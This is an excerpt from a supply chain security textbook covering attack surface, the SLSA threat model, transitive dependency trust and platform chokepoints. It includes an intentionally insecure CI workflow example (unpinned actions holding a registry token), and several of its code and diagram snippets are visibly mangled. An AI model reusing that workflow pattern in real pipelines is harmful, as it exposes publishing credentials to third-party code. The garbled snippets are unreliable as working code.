

The Backend Engineer's Library

Foundations of Software Supply Chain Security

Volume C01

Contents

The Software Supply Chain: Anatomy and Attack Surface

A Taxonomy of Supply Chain Attacks

Case Studies I: Build System Compromise — SolarWinds and 3CX

Case Studies II: Dependency Attacks — event-stream, ua-parser-js, node-ipc, PyTorch

Case Studies III: xz-utils, Codecov, and Log4Shell

Trust, Threat Models, and the Economics of Supply Chain Risk

Risk Frameworks and Maturity Models: SLSA, SSDF, S2C2F

The Open Source Ecosystem: Sustainability, Maintainership, and Risk

Supply Chain Security in Distributed Backend Systems

Building a Supply Chain Security Program

Chapter 1 — The Software Supply Chain: Anatomy and Attack Surface

What this chapter covers. This chapter defines the software supply chain precisely, maps its end-to-end lifecycle as a directed graph with explicit trust boundaries, and enumerates the attack surface at every node and edge of that graph. It introduces the structural asymmetries that make supply chain attacks uniquely attractive to attackers, the transitive-trust problem that makes them uniquely hard to defend against, and the conceptual vocabulary — artifacts, attestations, identities, policies — that the rest of this suite builds on. Later chapters go deep on taxonomy (Chapter 2), real incidents (Chapters 3–5), and defensive machinery (Books 2–8); this chapter's job is to draw the map.

Learning goals — after this chapter you should be able to:

- Define the software supply chain as the full set of systems, artifacts, and identities that influence the bits running in production, and explain why that definition is deliberately broad.
- Draw the supply chain lifecycle as a directed graph and mark its trust boundaries.
- Enumerate, for any node in that graph, three questions: who can write to it, what trusts its output, and what secrets it holds.
- Place a hypothetical attack into SLSA v1.0's threat model (threats A–H) and its source / dependency / build / usage categories.
- Explain the attacker/defender cost asymmetry and why supply chain attacks scale.
- Explain transitive trust, quantify the dependency explosion for a typical service, and articulate why "first party vs. third party" is a blurred and eroding distinction.
- Describe how microservice fleets and platform teams change the shape of the problem.

What, exactly, is the software supply chain?

The term borrows from manufacturing, and the analogy is imperfect in a revealing way. A physical supply chain moves *matter*: raw materials in,

finished goods out, with custody transfers you can inspect at a loading dock. A software supply chain moves *influence over bits*. The question it answers is not "where did this box come from?" but:

What is the complete set of things — code, systems, people, and machine identities — that could have influenced the bits now executing in production?

Everything in that set is part of your supply chain, whether or not you chose it, pay for it, or know it exists. Concretely, the set includes:

- **Source code** — first-party code in your repositories, including its full history, branches, and the review process that gates changes into it.
- **Dependencies** — every third-party library resolved at build time or runtime, direct and transitive, plus the registries (npm, Maven Central, PyPI, crates.io, Go module proxies) that serve them and the maintainers who publish to those registries.
- **Toolchains** — compilers, interpreters, linkers, code generators, and the standard libraries they embed into your output. `gcc`, `javac`, the Go toolchain, `tsc`, `protoc` — each one transforms input bits into output bits and could, in principle, transform them maliciously.
- **Build systems and CI/CD** — the machines and orchestration (GitHub Actions, GitLab CI, Jenkins, Buildkite, Bazel remote execution clusters) that check out source, resolve dependencies, run the toolchain, and produce artifacts. Including every plugin, action, orb, and shared pipeline template those systems load.
- **Artifact stores** — container registries, package repositories, object storage buckets holding release tarballs; anywhere a built artifact rests between build and deploy.
- **Deployment machinery** — CD controllers, GitOps agents (Argo CD, Flux), Helm charts, Terraform state and providers, admission controllers; everything that decides *which* artifact runs *where*.
- **Runtime infrastructure** — base images, node OS images, the kubelet and container runtime, sidecars injected by the platform, agents installed by security and observability vendors.
- **The humans and machine identities behind all of the above** — developer accounts, maintainer accounts on public registries, CI service accounts, deploy robots, OIDC identities, personal access

tokens, signing keys. Every write path in the chain terminates in a credential held by someone or something.

Two consequences of this definition are worth stating explicitly, because the whole field follows from them.

First, **the supply chain is defined by influence, not by intent or contract**. The maintainer of a transitive dependency four levels deep in your lockfile is in your supply chain even though you have no relationship with them. The SaaS vendor whose CI integration holds a token to your repositories is in your supply chain even though you bought them for code coverage, not code execution. If it can change the bits, it is in scope.

Second, **the supply chain is a graph of trust relationships, and trust composes transitively whether you want it to or not**. When your deploy system trusts your registry, and your registry trusts your CI, and your CI trusts a third-party plugin, then your production environment trusts that plugin's author — a fact that appears in no architecture diagram and no vendor contract, but is enforced by the machinery every day.

This is why we treat supply chain security as a distributed-systems problem rather than purely an application-security one. The unit of analysis is not a program but a *pipeline of mutually trusting systems*, operated by different teams (and different companies), failing independently, and composing their guarantees — or their compromises.

The lifecycle as a directed graph

The canonical path a change takes from a developer's editor to production is a directed graph. The trunk is familiar: workstation → source control → CI → build → artifact registry → deployment → runtime. But the trunk alone is misleading, because most of the attack surface lives in the *sidecar chains* that feed it: dependency registries feeding the build, base images feeding the container build, plugin marketplaces feeding CI, and SaaS integrations holding standing credentials into several stages at once.

```

flowchart LR
    subgraph DEV["Trust domain: developer"]
        WS["Developer workstation  
IDE, extensions, local toolchain"]
    end

    subgraph SRC["Trust domain: source control"]
        SCM["SCM / code review  
GitHub, GitLab"]
    end

    subgraph BUILD["Trust domain: build"]
        CI["CI orchestrator  
pipeline definitions"]
        BLD["Build workers  
compilers, packagers"]
    end

    subgraph DIST["Trust domain: distribution"]
        REG["Artifact registry  
OCI images, packages"]
    end

    subgraph PROD["Trust domain: production"]
        CD["Deploy machinery  
GitOps, CD controller"]
        RT["Runtime  
clusters, hosts, functions"]
    end

    WS -->|"push commit"| SCM
    SCM -->|"webhook / trigger"| CI
    CI -->|"schedule job"| BLD
    BLD -->|"push artifact"| REG
    REG -->|"pull artifact"| CD
    CD -->|"apply / rollout"| RT

    subgraph SIDE["Sidecar chains – external trust"]
        DEP["Dependency registries  
npm, PyPI, Maven, Go proxy"]
        BASE["Base images  
Docker Hub, distro images"]
        PLUG["CI plugins and actions  
marketplaces"]
        TOOL["Toolchain distribution  
compiler and SDK downloads"]
        SAAS["SaaS integrations  
coverage, scanning, bots"]
    end

```

```
DEP -->|"resolve deps"| BLD
DEP -->|"local install"| WS
BASE -->|"FROM image"| BLD
PLUG -->|"load plugin code"| CI
TOOL -->|"install toolchain"| BLD
TOOL -->|"install toolchain"| WS
SAAS -->|"tokens into"| SCM
SAAS -->|"tokens into"| CI

RT -->|"pull at runtime:
plugins, models, updates"| DEP
```

Read the diagram with three observations in mind.

Every solid arrow is a trust decision. When CI triggers on a webhook, it trusts that the SCM's claim about "what changed and who changed it" is true. When the deploy controller pulls `registry.internal/payments:sha256-abc...`, it trusts that whatever put that digest in the registry was the legitimate build of legitimate source. In most organizations these trust decisions are *implicit*: enforced by nothing more than network reachability and a credential. Making them explicit and verifiable — turning "the registry has it, so it must be fine" into "a verifiable statement says trusted builder B built it from reviewed commit C" — is the core project of this entire suite, and the subject of Book 5 in particular.

Trust boundaries do not align with organizational boundaries. The five subgraphs above are typically operated by at least three different parties: your organization, your vendors (GitHub, your cloud), and thousands of open source maintainers behind the sidecar chains. The sidecar arrows cross from *entirely external* trust domains directly into your build — the highest-leverage stage of the whole graph.

The graph has back-edges. The dotted arrow from runtime back to dependency registries is easy to forget: services that download plugins, ML models, or "auto-update" components at runtime have extended the supply chain past deployment, bypassing every control upstream of it. Log4Shell — covered properly in Book 1, Chapter 5 — was so devastating partly because it turned a logging library into an arbitrary *runtime* code loader.

Nodes, edges, and the three questions

For every node in the graph, the attack-surface analysis reduces to three questions:

1. **Who can write to it?** (Accounts, tokens, service identities, and the systems that can impersonate them.)
2. **What trusts its output?** (The downstream blast radius if it lies.)
3. **What secrets does it hold?** (What an attacker gains beyond the node itself — lateral movement potential.)

Applied across the trunk, the answers look like this:

Node	Who can write to it	What trusts its output	Secrets it typically holds
Developer workstation	The developer; every IDE extension, local tool, and <code>npm install</code> script run with their privileges	SCM (accepts pushes), reviewers (assume the diff is what the author intended)	SSH keys, cloud CLI sessions, long-lived PATs, browser sessions to SCM/CI
SCM	Anyone with push rights; branch-protection bypassers; admins; integrated apps with <code>contents:write</code>	CI (builds what it is told changed), other repos (submodules, template pulls), auditors	Webhook secrets, deploy keys, installed-app tokens, Actions secrets configured at repo/org level
CI orchestrator	Anyone who can edit pipeline definitions — which usually means anyone who can push a branch	Build workers (execute what it schedules), registries (accept its pushes), reviewers who assume "CI passed" means something	The crown jewels: registry push credentials, cloud deploy roles, signing keys, tokens for every integrated SaaS

Node	Who can write to it	What trusts its output	Secrets it typically holds
Build workers	The CI orchestrator; the toolchain and every dependency's install-time hooks executing <i>on</i> the worker	The registry (accepts the artifact), everything downstream	Ambient credentials of the job: cache tokens, dependency-registry credentials, sometimes the CI secrets themselves
Artifact registry	CI service accounts; humans with push rights; replication from other registries	Deploy machinery and <i>every cluster that pulls from it</i>	Usually few secrets, but its access-control database is itself a target
Deploy machinery	Platform team; whoever can merge to the GitOps repo; the CD controller's own service account	The runtime — it applies whatever it is told, typically with cluster-admin	Kubeconfigs/ cluster credentials, cloud roles, decryption keys for sealed secrets
Runtime	The deploy machinery; node/ image update channels; anyone with <code>kubectl exec</code> -equivalent access	Your customers	Application secrets, data-store credentials, service-mesh identities

Notice the pattern in the middle column: **each node's output is trusted by everything after it, and almost nothing verifies that trust independently**. The registry does not check that CI really built the image from reviewed source; the deploy controller does not check that the registry entry was pushed by CI rather than by a leaked credential. Each stage launders the previous stage's output into something the next stage accepts without question. Attackers read this table the same way defenders should: the CI/build stage combines the broadest write-access (anyone who can push a branch can usually alter a pipeline) with the

richest secrets and a fully trusted output path. It is the graph's center of gravity.

Organizing the threats: SLSA v1.0's model

Enumerating attacks ad hoc gets unwieldy; a shared frame helps. The most widely used one is the threat model published with **SLSA v1.0** (Supply-chain Levels for Software Artifacts), which annotates essentially the same lifecycle graph with lettered threats **A through H**, grouped into source, dependency, and build threats, plus the final "usage" step where a consumer runs what it fetched:

- **Source threats**

- **(A) Submit unauthorized change** — malicious code enters through the front door of source control: a hijacked developer account, a rubber-stamped review, a pushed commit on an unprotected branch. The code is malicious but the *process* records it as legitimate.
- **(B) Compromise source repo** — the SCM itself is subverted: history rewritten, branch protections bypassed by an admin or platform bug, code injected outside any change-management process.

- **Build threats**

- **(C) Build from modified source** — the builder is fed something other than the intended, reviewed source: a tampered checkout, a mirror that diverges from the authoritative repo, build scripts fetched from elsewhere at build time.
- **(E) Compromise build process** — the build environment itself is subverted so that correct source still yields malicious output: a poisoned worker image, a malicious CI plugin, cross-contamination from another tenant's build. This is the SolarWinds pattern (Chapter 3).
- **(F) Upload modified package** — the artifact is tampered with after the build but before or during upload; or an attacker with registry credentials simply pushes an artifact that never went through the build at all.
- **(G) Compromise package registry** — the registry serves consumers something other than what the publisher uploaded: a compromised registry, a malicious mirror or proxy, a name resolved

to the wrong package (the dependency-confusion class lives here and at H).

- **Dependency threats**

- **(D) Use compromised dependency** — your build consumes a dependency that is itself the product of any of these threats, recursively. This single letter is the entry point for the entire attack class Book 2 covers: typosquatting, hijacked maintainer accounts, malicious updates, install-script payloads.

- **Usage threats**

- **(H) Use compromised package** — the consumer fetches or runs the wrong artifact: no verification at deploy time, mutable tags swapped underneath them, a look-alike package name.

Two things to note about the frame. First, there is deliberately no threat "(D)" inside the build group and no letter between C and E in it — D is reserved for the dependency threat, which SLSA models as the *same graph applied recursively to each dependency*. That recursion is the formally precise statement of the transitive-trust problem we examine below. Second, SLSA v1.0's Build track — its levels and provenance requirements, covered in Book 1, Chapter 7 and in depth in Books 4-5 — primarily mitigates the build threats (C, E, F, and parts of G/H via verification). Source threats and post-deployment threats (compromised deploy machinery, runtime tampering) are acknowledged in the model but largely out of scope of the v1.0 levels; deployment-side controls are the business of Book 6, and source-side controls of Book 7.

```

flowchart LR
    DEV["Developer"] -->|"A: unauthorized  
change"| SRC["Source repo"]
    SRC -->|"B: compromise  
source repo"| SRC
    SRC -->|"C: build from  
modified source"| BLD["Build"]
    DEPCHAIN["Dependencies  
(this whole graph,  
recursively)"] -->|"D: compromised  
dependency"| BLD
    BLD -->|"E: compromise  
build process"| BLD
    BLD -->|"F: upload modified  
package"| PKG["Registry"]
    PKG -->|"G: compromise  
registry"| PKG
    PKG -->|"H: use compromised  
package"| CONS["Consumer /  
deployment"]

```

When you encounter a new incident writeup, the first useful move is to place it on this diagram. event-stream (Chapter 4) is A executed against a *dependency's* repo, reaching you via D. Codecov (Chapter 5) is E — a tampered CI-time script exfiltrating build secrets. Dependency confusion is G/H — the resolver picking the wrong registry's answer for a name. SolarWinds is E in its purest form: source clean, artifact dirty, signature valid. The taxonomy in Chapter 2 refines this into finer-grained classes, but A–H is the load-bearing skeleton.

The asymmetry that defines the domain

Every security domain has an attacker/defender asymmetry; supply chain security has a distinctive and brutal one, and it is worth being precise about its three components.

1. One compromised link transitively compromises everyone downstream. The lifecycle graph is a *dependency* graph, and compromise flows along its edges in the direction of trust. Compromise a workstation and you can (at minimum) submit code as that developer. Compromise CI and you control every artifact it produces. Compromise a widely used package and you execute code in every downstream build — and, at install-hook time, on every downstream developer's laptop, which holds credentials to *their* supply chains, which is how compromise turns

into a self-propagating worm across organizational boundaries. Defenders must hold every link; the attacker needs one.

2. The attacker attacks the cheapest link; the defender pays for all of them. Popping a hardened production perimeter is expensive. By contrast: registering a typosquatted package costs nothing; phishing one maintainer of a tired, understaffed open source project is a commodity operation; a stale CI plugin with a leaked publishing token is a scripted find. The economic analysis — why rational attackers moved upstream as perimeters hardened, and what that implies for where defenders should spend — is developed properly in Chapter 6. Here it is enough to note the direction of the gradient: **attacks migrate toward the least-defended writable node whose output is still fully trusted**, and in most organizations today that node is in the build or dependency sidecar, not in production.

3. Distribution is the payload's force multiplier. A conventional intrusion compromises one victim per operation. A supply chain implant is *distributed by the victim's own trusted machinery*: signed by their keys, shipped through their release process, installed by their customers' auto-updaters. One implant, thousands of victims, each of whom received it through a channel they had every conventional reason to trust. This is why the marginal cost of the Nth victim is approximately zero for the attacker — and why the defender's traditional signal, "did something unusual cross my perimeter?", fires on nothing at all. The malicious update *is* the usual thing crossing the perimeter.

The propagation dynamics are worth seeing end to end, because the striking feature is how every step after the initial compromise consists of systems working exactly as designed:

```
sequenceDiagram
    participant AT as Attacker
    participant M as "Maintainer account
(upstream library)"
    participant R as "Public registry"
    participant CI as "Victim CI
(thousands of orgs)"
    participant REG as "Victim registries"
    participant P as "Victim production"

    AT->>M: Phish / credential-stuff maintainer
    AT->>R: Publish lib v4.2.1 with implant
    Note over R: Signed by the legitimate
maintainer identity
    CI->>R: Routine dependency resolution
(range allows 4.2.1)
    R->>CI: lib 4.2.1
    Note over CI: Install hook runs on builder.
    Implant now inside trusted build.
    CI->>REG: Push built artifact (tests green)
    REG->>P: Normal deploy rollout
    Note over P: Implant executes with
production credentials
    P->>AT: Beacon / exfiltration
    Note over CI,P: Every step after the first two
is the system working as designed
```

The defender's problem, made vivid: at which step in that sequence would your current controls have fired? For most organizations the honest answer is "the last one, if the EDR vendor had a signature" — which is to say, after the attacker had already won the supply chain phase. Moving detection and prevention *up* this sequence — verifying at each edge rather than hoping at the last one — is the strategic arc of this suite.

Transitive trust and the dependency explosion

The single most consequential fact about modern software composition is quantitative. Run this in any mature Node.js service:

```
$ npm ls --all --parseable 2>/dev/null | wc -l
1387

$ npm ls --all --parseable 2>/dev/null | awk -F/node_modules/ '{print
$NF}' | sort -u | wc -l
1104
```

Over a thousand distinct packages, of which the team deliberately chose perhaps forty — the `dependencies` block of `package.json`. Everything else arrived transitively. The numbers vary by ecosystem — JVM services commonly land in the hundreds of jars, Go's module graph tends to be leaner but still routinely spans hundreds of modules, Python sits in between — but the structure is the same everywhere: **a shallow layer of chosen dependencies riding on a deep pyramid of unchosen ones.**

```
flowchart TB
    APP["APP[\"Your service  
~40 direct dependencies (chosen)\"]"]
    D1["D1[\"web framework\"]"]
    D2["D2[\"ORM / db driver\"]"]
    D3["D3[\"metrics client\"]"]
    T1["T1[\"~150 transitive deps  
depth 2\"]"]
    T2["T2[\"~400 transitive deps  
depth 3\"]"]
    T3["T3[\"~500+ transitive deps  
depth 4 and beyond\"]"]
    M["M[\"Hundreds of maintainers  
you have never heard of –  
each with publish rights  
into your build\"]"]

    APP --> D1
    APP --> D2
    APP --> D3
    D1 --> T1
    D2 --> T1
    D3 --> T1
    T1 --> T2
    T2 --> T3
    T3 --> M
```

The research literature put numbers on this years ago: Zimmermann et al.'s 2019 study of the npm ecosystem ("Small World with High Risks," USENIX Security) found that installing an average npm package implicitly trusts roughly 80 other packages and dozens of distinct maintainers. Whatever the exact figure for your stack today, the qualitative point is stable and is the one to internalize:

You are trusting people you have never heard of. Not their code — their *accounts*. Each maintainer in the pyramid holds publish rights to a name your resolver will fetch, and in ecosystems with install-time hooks, code execution on your build workers and developer laptops. Their

password hygiene, their laptop's security posture, their willingness to hand the project to a helpful stranger when they burn out — all of it is, functionally, part of your security posture.

Three structural features make this worse than the raw count suggests.

Trust attaches to names and accounts, not to code. Your lockfile pins content hashes for versions already resolved, which is genuine protection against threat G-style substitution — but the moment any dependency is updated, trust reverts to "whatever the account that owns this name publishes next." Review of dependency *updates* is rare in practice; review of transitive updates is essentially nonexistent. The xz-utils backdoor (Chapter 5) is the canonical demonstration that the account itself — the maintainership — can be the thing acquired by the attacker, patiently, over years.

The pyramid concentrates. Dependency graphs are heavy-tailed: a small set of utility packages appears in a huge fraction of all graphs. That concentration means a single compromised commodity package reaches an enormous installed base — the event-stream and ua-parser-js incidents (Chapter 4) were exactly this — and it means the maintainers of the most-depended-on packages are, whether they know it or not, critical infrastructure operators, frequently unpaid ones. The sustainability half of that problem is Chapter 8's subject.

The recursion has no natural floor. Each dependency was itself built by a supply chain — its maintainer's laptop, its CI, its release tooling — so threat D expands into the *entire A-H graph, per package, recursively*. Follow the recursion all the way down and you reach the question Ken Thompson posed in his 1984 Turing Award lecture, "Reflections on Trusting Trust": a compiler can be backdoored to recognize and trojan both the programs it compiles *and future versions of itself*, leaving no trace in any source code anyone will ever review. The lecture's closing moral — "you can't trust code that you did not totally create yourself" — is the theoretical bedrock of this field: at some depth, inspection gives out and you are trusting *provenance*, not code. What modern supply chain security offers is not an escape from that conclusion but a disciplined response to it: reproducible builds, bootstrapped toolchains, and verifiable provenance chains, which get a full treatment in Book 7, Chapter 5.

First party, third party, and the blurred line

Security programs love the first-party/third-party split: our code, reviewed and owned, versus their code, scanned and inventoried. The split is administratively convenient and increasingly fictional. Consider the cases that fall between:

- **Vendored code.** A third-party library copied into your tree — `third_party/`, `vendor/` — is third-party provenance wearing first-party clothes. It passes your code review *once*, at import, then drifts: upstream fixes CVEs that your copy never receives, and your scanning tooling may no longer even recognize it as the library it is. Vendoring converts a visible dependency into an invisible one.
- **Internal forks.** A fork of an upstream project is a commitment to merge upstream's security fixes forever, made implicitly and usually without an owner. Two years later it is neither first party (nobody on staff understands all of it) nor third party (upstream's advisories no longer match your code).
- **Internal packages.** Code published by *another team* to your internal registry is first party on the org chart and third party in every mechanical respect: you consume it by name from a registry, sight unseen, on a version range. An attacker who compromises one team's publishing credentials attacks every internal consumer through the same machinery a public-registry attacker would use. Worse, the interaction *between* internal names and public registries is itself an attack surface — the dependency-confusion class, dissected in Book 2.
- **Contractors and outsourced development.** Code written by external parties under contract lands in your repos with first-party trust, from workstations and identity practices you do not control. The identity-and-access dimension of this is Book 7's territory.
- **AI-generated code.** Code produced by an LLM assistant enters through the first-party front door — a developer commits it — but its effective provenance is a statistical distillation of the model's training corpus, and its failure modes include confidently importing packages that do not exist (an attack surface the moment someone registers those names publicly). It is authored-by-us in the audit log and authored-by-no-one in every meaningful sense. Policy responses are covered in Book 8.

The lesson is not that the first/third-party distinction is useless — it still tracks *who you can call at 2 a.m.* — but that it is not a security boundary. The security-relevant questions are the mechanical ones from earlier: what is the provenance of these bits, who could write to their source, and what verified them on the way in? A mature program applies those questions uniformly and lets "first party vs. third party" be an answer, not an assumption.

Why this domain surged after 2020

Supply chain attacks are old — Thompson described the ultimate one in 1984, and practitioners had been cataloguing registry malware for years — but the field's modern form dates to a two-year window.

In December 2020, the **SolarWinds** campaign was disclosed: a build-process compromise (threat E) at a single network-management vendor delivered a trojaned, validly signed update to on the order of eighteen thousand organizations, including US federal agencies. It demonstrated, at nation-state quality, everything this chapter has argued structurally: the build system as center of gravity, the victim's own signing and distribution as the delivery mechanism, and the transitive blast radius of one link.

The policy response was fast by policy standards. In May 2021, US **Executive Order 14028** ("Improving the Nation's Cybersecurity") directed NIST to define secure software development practices — yielding the **SSDF, SP 800-218** — and set in motion federal procurement requirements for SBOMs and vendor attestations. Regulation elsewhere followed, most significantly the **EU Cyber Resilience Act**; the compliance landscape is Book 8's subject. Simultaneously, the attacks professionalized and diversified: dependency confusion was demonstrated at scale against major tech companies in 2021, Codecov and Log4Shell landed the same year, and the 2024 xz-utils backdoor showed multi-year social-engineering investment in acquiring maintainership itself. Chapters 3-5 treat these properly as case studies; the point here is only the shape of the inflection: **a demonstrated nation-state playbook, a regulatory forcing function, and a commoditizing criminal ecosystem arrived within roughly three years of each other**, and an area that had been a niche concern became a first-order engineering discipline with its own frameworks (SLSA, SSDF, S2C2F — Chapter 7) and its own tooling stack (Books 3-6).

The distributed-systems lens: fleets, pipelines, and platform chokepoints

Everything so far described one pipeline. You do not operate one pipeline. A mid-size backend organization operates hundreds of repositories, each with its own CI configuration, dependency graph, and container images, deploying dozens of times a day across multiple clusters. This multiplies the problem along one axis and — if you are deliberate — collapses it along another.

Multiplication. Every additional service adds a full copy of the lifecycle graph: another pipeline definition someone can edit, another set of CI secrets, another image lineage, another lockfile drifting on its own schedule. Attack surface scales roughly with (services $\times$ stages $\times$ integrations), and *inconsistency* scales with it: the fleet's effective security level is set by its weakest pipeline, and in a hundred-repo organization there is always a repo nobody has touched since the intern who created it left. High deploy frequency compounds this — with hundreds of deploys a day, "a human looks at each release" is not an available control, so any control that does not execute mechanically, per artifact, does not exist.

Collapse. The standard organizational response is a platform team: golden pipeline templates, a curated base-image lineage, an internal dependency proxy, a shared deploy controller. This is the right architecture, and this suite will repeatedly recommend it, because it converts an unwinnable per-team problem into a tractable chokepoint where controls (provenance verification, admission policy, dependency curation) can be implemented once and enforced fleet-wide.

But be honest about what a chokepoint is: **the platform team is the highest-value target in the company.** A malicious change to the shared pipeline template is threat E executed against every service at once. The internal base image is `FROM`-ed by a thousand Dockerfiles; the deploy controller holds cluster-admin everywhere; the internal registry proxy is a man-in-the-middle for every dependency the company resolves — that is precisely why it works as a control point, and precisely what it costs if it is compromised. Centralization does not reduce total risk so much as *relocate and concentrate* it, exchanging a thousand mediocre defenses for one defense that had better be excellent — with commensurate investment in the platform's own supply chain: who can

merge to the template repo, how the base image is itself built and attested, how the controller's credentials are scoped. Chapter 9 develops this lens fully; Books 4 and 6 build the machinery.

```
flowchart TB
    subgraph PLAT["Platform team – chokepoint and target"]
        TPL["Golden pipeline templates"]
        BASEIMG["Curated base images"]
        PROXY["Internal dependency proxy / registry"]
        CDC["Shared deploy controller"]
    end

    subgraph FLEET["Service fleet – hundreds of repos"]
        S1["service A pipeline"]
        S2["service B pipeline"]
        S3["service C pipeline"]
        SN["... service N"]
    end

    TPL --> S1
    TPL --> S2
    TPL --> S3
    TPL --> SN
    BASEIMG --> S1
    BASEIMG --> S2
    BASEIMG --> S3
    PROXY --> S1
    PROXY --> S2
    PROXY --> SN
    S1 --> CDC
    S2 --> CDC
    S3 --> CDC
    SN --> CDC
    CDC --> K8S["Production clusters"]

    ATT(("Attacker")) -.->|"one change here reaches every service"| TPL
```

A concrete miniature of the multiplication problem, because it is the single most common finding in real fleets — the unpinned CI action:

```
# .github/workflows/build.yml — found, with variations, in most of the
fleet
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4          # tag: mutable, repointable
      - uses: some-org/setup-widget@main   # branch: whatever HEAD is
today
  - run: make release
  env:
    REGISTRY_TOKEN: ${ secrets.REGISTRY_TOKEN }
```

Both `uses:` lines execute third-party code inside a job holding a registry push token — threat E, one compromised action-author account away. The tag `v4` and the branch `main` are *names*, repointable by whoever controls that repo, which is exactly the names-versus-code trust failure from the dependency section, reappearing in the CI sidecar. (The remediation — SHA-pinning, scoped tokens, and their limits — is Book 4's material; the pattern-recognition is this chapter's.) Multiply by three hundred repos, each with its own drift, and the case for the golden template — and for guarding it like production — makes itself.

The conceptual model for the rest of the suite

The following four terms recur through all eight books. Formal definitions (and the specs that pin them down — in-toto, SLSA provenance, DSSE, Sigstore) come later; here are the working notions.

Artifact. Any immutable, addressable output of a supply chain step: a source tarball, a container image, a Java jar, a Terraform module, an SBOM document, a binary. The critical property is *content-addressability* — an artifact is identified by a cryptographic digest of its bytes (`sha256:...`), not by a mutable name like `latest` or `v4`. Names are claims; digests are facts. A large fraction of practical supply chain security consists of replacing name-based references with digest-based ones.

Attestation. A signed, structured statement *about* an artifact, made by some identity: "builder B built digest X from commit C using pipeline P" (provenance), "scanner S found these components in X" (an SBOM attestation), "reviewer R approved the change." Attestations are the mechanism that turns the implicit trust edges in our lifecycle graph into

explicit, verifiable evidence — metadata that travels with the artifact and can be checked by anyone downstream, rather than institutional knowledge trapped in the CI logs. Book 5 is devoted to them.

Identity. The answer to "who says so?" — for humans (developers, reviewers, maintainers) and, at least as importantly, for machines (a CI workload, a deploy controller, a builder). The field's direction of travel is from long-lived bearer secrets (PATs, static keys — the things exfiltrated in half the incidents in Chapters 3-5) toward short-lived, verifiable workload identities (OIDC-federated CI identities, keyless signing). An attestation is only as strong as the identity that signed it and the process that guarded that identity.

Policy. A machine-enforceable rule that consumes attestations and identities to gate an action: "no image runs in this cluster without provenance from a trusted builder," "no dependency enters the proxy without a known-good source," "no deploy without a matching SBOM." Policy is where evidence becomes enforcement — evaluated automatically, per artifact, at admission points like registries, deploy controllers, and cluster admission webhooks, which is the only form of control that survives the deploy frequencies of a real fleet. Books 6 and 8 cover the enforcement machinery and its governance.

The suite's through-line, in one sentence built from these terms: **identify every artifact by digest, bind evidence to it as attestations signed by verifiable identities, and enforce policies over that evidence at every trust boundary in the lifecycle graph** — so that each solid arrow in this chapter's first diagram stops meaning "reachable and credentialed" and starts meaning "verified."

Key takeaways

- The software supply chain is *everything that influences the bits running in production*: source, dependencies, toolchains, build/CI systems, artifact stores, deployment machinery, runtime infrastructure, and the human and machine identities behind each. Membership is defined by influence, not by contract or intent.
- Model it as a directed graph — workstation → SCM → CI → build → registry → deploy → runtime, plus the sidecar chains (dependencies, base images, CI plugins, toolchains, SaaS integrations) that inject

external trust directly into the trunk. Every edge is a trust decision, and most are implicit today.

- For any node, ask three questions: who can write to it, what trusts its output, what secrets does it hold. By that measure the CI/build stage is the center of gravity: broadest write access, richest secrets, fully trusted output.
- SLSA v1.0's threat model (threats A-H, grouped as source, dependency, build, and usage threats) is the standard frame for placing any attack; threat D expands recursively into the full graph for every dependency.
- The domain's defining asymmetry: one compromised link transitively compromises everything downstream; attackers pay for the cheapest link while defenders pay for all of them; and the victim's own trusted distribution machinery multiplies one implant into thousands of victims.
- Transitive trust attaches to *names and accounts*, not code. A typical service trusts hundreds to thousands of packages and hundreds of maintainers it never chose. Thompson's "Reflections on Trusting Trust" marks the theoretical floor: past some depth you are trusting provenance, not inspection.
- The first-party/third-party split is not a security boundary. Vended code, forks, internal packages, contractor code, and AI-generated code all cross it; apply the same provenance questions to everything.
- At fleet scale, attack surface multiplies with services × stages × integrations, and effective security equals the weakest pipeline. Platform chokepoints (golden pipelines, curated bases, shared deploy controllers) are the right response — and are therefore the highest-value targets, deserving production-grade protection themselves.
- The suite's working model: **artifacts** (digest-identified bits), **attestations** (signed statements about them), **identities** (who signs), and **policies** (rules that enforce evidence at trust boundaries).

Further reading

- SLSA v1.0 specification, especially the threat model ("Supply chain threats"): <https://slsa.dev/spec/v1.0/threats>

- Ken Thompson, "Reflections on Trusting Trust," Turing Award lecture, *Communications of the ACM* 27(8), 1984: <https://dl.acm.org/doi/10.1145/358198.358210>
- Zimmermann, Staicu, Tenny, Pradel, "Small World with High Risks: A Study of Security Threats in the npm Ecosystem," USENIX Security 2019: <https://www.usenix.org/conference/usenixsecurity19/presentation/zimmerman>
- Ohm, Plate, Sykosch, Meier, "Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks," DIMVA 2020: <https://arxiv.org/abs/2005.09535>
- NIST SP 800-218, "Secure Software Development Framework (SSDF) Version 1.1": <https://csrc.nist.gov/publications/detail/sp/800-218/final>
- Executive Order 14028, "Improving the Nation's Cybersecurity," May 2021: <https://www.federalregister.gov/documents/2021/05/17/2021-10460/improving-the-nations-cybersecurity>
- ENISA, "Threat Landscape for Supply Chain Attacks," 2021: <https://www.enisa.europa.eu/publications/threat-landscape-for-supply-chain-attacks>
- CNCF Security TAG, "Software Supply Chain Best Practices" white paper: https://github.com/cncf/tag-security/blob/main/community/working-groups/supply-chain-security/supply-chain-security-paper/CNCF_SSCP_v1.pdf

Chapter 2 — A Taxonomy of Supply Chain Attacks

What this chapter covers. Chapter 1 mapped the anatomy of a modern software supply chain — source, build, distribution, and consumption — and enumerated its attack surface. This chapter imposes order on the attacks themselves. We build a two-axis classification: **where in the chain the compromise occurs** (aligned with the SLSA v1.0 threat model's threats A-H) and **how trust is subverted** (technical compromise, social engineering, or legitimate-but-malicious action). We then catalog the named attack patterns you will encounter in incident reports and vendor pitches — typosquatting, dependency confusion, repojacking, build-time injection, update hijacking, and the rest — and

pin each one to a precise mechanism, the attacker capability it requires, its blast radius, its detectability, and a real incident that exemplifies it. Finally, we compare our taxonomy honestly against MITRE ATT&CK, the SLSA threat model, and the academic literature, and close with the distributed-systems view: which classes actually dominate for organizations running large microservice fleets with internal registries.

Learning goals:

- Explain why a shared attack taxonomy matters for threat modeling, control mapping, and cross-incident comparison — and what a bad taxonomy costs you.
- Classify any supply chain incident along two axes: chain stage (source, build, distribution, consumption) and trust-subversion mode (technical, social, legitimate-but-malicious).
- Describe the precise mechanism of each named attack pattern, from typosquatting to compile-time backdoors, without hand-waving.
- For each pattern, state the attacker capability required, the typical blast radius, and how detectable it is in practice.
- Relate the SLSA v1.0 threats A-H, MITRE ATT&CK T1195, and the Ladisa et al. taxonomy to each other and know where each is silent.
